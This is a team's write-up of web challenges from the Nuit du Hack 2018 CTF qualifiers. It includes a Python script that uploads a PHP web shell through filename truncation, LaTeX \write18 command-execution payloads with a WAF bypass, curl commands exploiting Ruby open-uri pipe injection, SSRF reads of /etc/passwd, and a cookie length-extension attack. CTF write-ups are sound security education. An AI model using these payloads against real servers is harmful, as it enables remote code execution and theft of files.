Nuit du Hack CTF Quals 2018
Pwn
reverse
Web
PixEditor (bookgin)
In this challenge, we can POST a list of RGBA pixels, with specific format JPG, PNG, BMP, GIF. After sending the request to the server, we can download the image we just uploaded. The filename will remain the same.
data=[255,0,0...]
name=image.JPG
format=JPG
My intuition is to upload a web shell. However, I've tried lot of filenames but they all failed. It seems the filename is properly parsed by php basename()
.
Next, I wonder what will happend if I'm trying to create a filename which is longer than 255 bytes, because the maximum filename length for ext4
is 255. To my surprise, a filename with only 55 bytes gets truncated!
- POST filename
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.bmp
- The server saves the file as
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx
The rest is trivial. We just need to manipulate the pixels to create a web shell. Pleases check my script for details.
#!/usr/bin/env python3
# Python 3.6.4
import requests
import json
payload = '''<?php
system($_GET["j"]);'''
bmp = []
for i in range(0, len(payload), 3):
bmp += list(payload[i:i+3].encode())[::-1] + [0x00]
bmp += [0 for _ in range(4096 - len(bmp))]
payload = dict(
data=json.dumps(bmp),
name='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRST.phpXYZ.BMP',
format='BMP'
)
print(requests.post('http://pixeditor.challs.malice.fr/save.php', data=payload).text)
Just j=cat /flag
and win.
After I already got the flag, one of my teammate found this in the javascript. However, I didn't notice that.
inputName.maxLength = 45; // 50 - Len(Extension) - Filename will be truncated if len > 50
Linked Out (bookgin)
We can upload a YAML config file, and the website will render the content through LaTeX.
Our first try is to insert some latex syntax \texttt{GG} \textbf{greatest}
. It gets rendered.
How about some evil RCE latex syntax?
\immediate\write18{ls > aaa.txt}
\input{aaa.txt}
We soon found the flag is in /flag
. Nevertheless, we fail to cat it out. We only got a parsing error. That's weird as I'm sure we have read permission via ls -all /flag
.
After a few tries, we found cat Makefle
, pwd
are giving us parsing error. I wonder if there is a WAF. A quick PoC echo NDH
and echo a
solves the mystery - it's WAFed. The underscore is WAFed as well.
So we just bypass it with powerful sed
. Here is the payload:
- '\immediate\write18{cat /flag | sed "s/_/Q/g" | sed "s/NDH/WWW/g"> see}'
- '\input{see}'
Crawl Me Maybe (unsolved, written by bookgin)
The website will crawl the user-provided URL and displays the content. A quick test url[]=
leads to an error which leaks the ruby source code:
require 'open-uri'
require 'nokogiri'
set :bind, '0.0.0.0'
set :port, 8080
get '/' do
@title = 'Crawl Me Maybe!'
erb :index
end
post '/result' do
@title = 'Crawl Me Maybe!'
url = params["url"]
if /sh|dash|bash|rbash|zsh/.match(url) || url.match('flag') || url.match('txt') || url.index('*') != nil || (url.index('|') != nil && !(url.index('cat') != nil || url.index('ls') != nil))
@result = "Attack detected"
erb :error
else
begin
page = open(url)
rescue StandardError => e
@result = "Invalide url"
erb :error
else
begin
page = Nokogiri::HTML(page) { |config| config.strict }
@result = "Page well formed !"
@content = page.text
erb :result
rescue Nokogiri::HTML::SyntaxError => e
@result = "caught exception: #{e}"
erb :error
end
end
end
end
open-uri
is very dangerous.open('| ls')
results in RCE, whileopen('/etc/passwd')
results in local file leaks.- CHECK THE WAF CAREFULLY (we fail to do so). It seems working, but in fact,
| ls
is still a valid payload.
Payload:
# locate the flag
$ curl 'http://crawlmemaybe.challs.malice.fr/result' --data 'url=| ls >/dev/null; find / | grep fla'
/home/challenge/src/.flag.txt
# get the flag
$ curl 'http://crawlmemaybe.challs.malice.fr/result' --data 'url=| ls >/dev/null; cat /home/challenge/src/.fla?.t?t'
NDH{CUrly_Ruby_J3p53n}
This one is acctually very simple, but we are too tired to solve this...... Never stay up late playing CTf, guys.
CoinGame (bookgin)
The website is a online curl
service, with PHP as the backend.
file:///etc/passwd
still works lika a charm, and what's more intriguing is that there is a user named tftp
.
Let's get information as more as possible:
- source code:
file:///var/www/html/curl.php
- PHP curl: We can use
gopher
, though it's useless in the challenge. Refer to SSRF bible.
- PHP curl: We can use
- OS: file:///etc/os-release
- tftp config file:
file:///etc/default/tftpd-hpa
`
/etc/default/tftpd-hpa
TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/home/CoinGame"
TFTP_ADDRESS="0.0.0.0:69"
TFTP_OPTIONS="--secure --create"
`
Nevertheless, we are not able to connect to the tftp remotely. Then, we tried to dig some files under /home/CoinGame
but none of them works. We got stuck here.......
Suddenly, there arises inspiration in my mind. I start googling the author Designed by totheyellowmoon
, accidently finding that he has only one repo, which is named CoinGame
.
Next, just crawl all the contents thorugh file:///home/CoinGame/README.md
.... and diff with the repo. We found lots of images are not the same, and they contatins the flag.
Hmm, I don't think this challenge is well-designed.
WaWaCoin (unsolved, written by bookgin)
In the login page, if the username doesn't not exist, we'll get bad username
. Then, through a quick enumeration we found admin
exists.
In the manager page, we are set a cookie by the server, session=757365723d64656d6f|9183ff6055a46981f2f71cd36430ed3d9cbf6861
. The first part is user=demo
in hex, and the second part is a 20 bytes SHA1-hash. Manipulating the user=admin
gets nothing, as the second part SHA1 seems like a signature. Therefore, the server will validate the signature and the first part.
Later we found the category of the problem is updated to crypto/web
, so length extension attack comes to my mind.
However, we only send the payload to /stealmoney
and /login
. What's worse, we doesn't follow the redirect. In fact, one of the payload readlly works, but we send to the wrong API. Sending to /stealmoney
will always redirect you to other page. The correct one is /manager
.
You can check @Becojo's script for more detail. It seems that appending ;user=admin
or &user=admin
both works.
@sasdf, @sces60107 and I acctually spent 6+ hours on the frustrating challenge (sob).
Cryptolol (solved by sasdf)
To be completed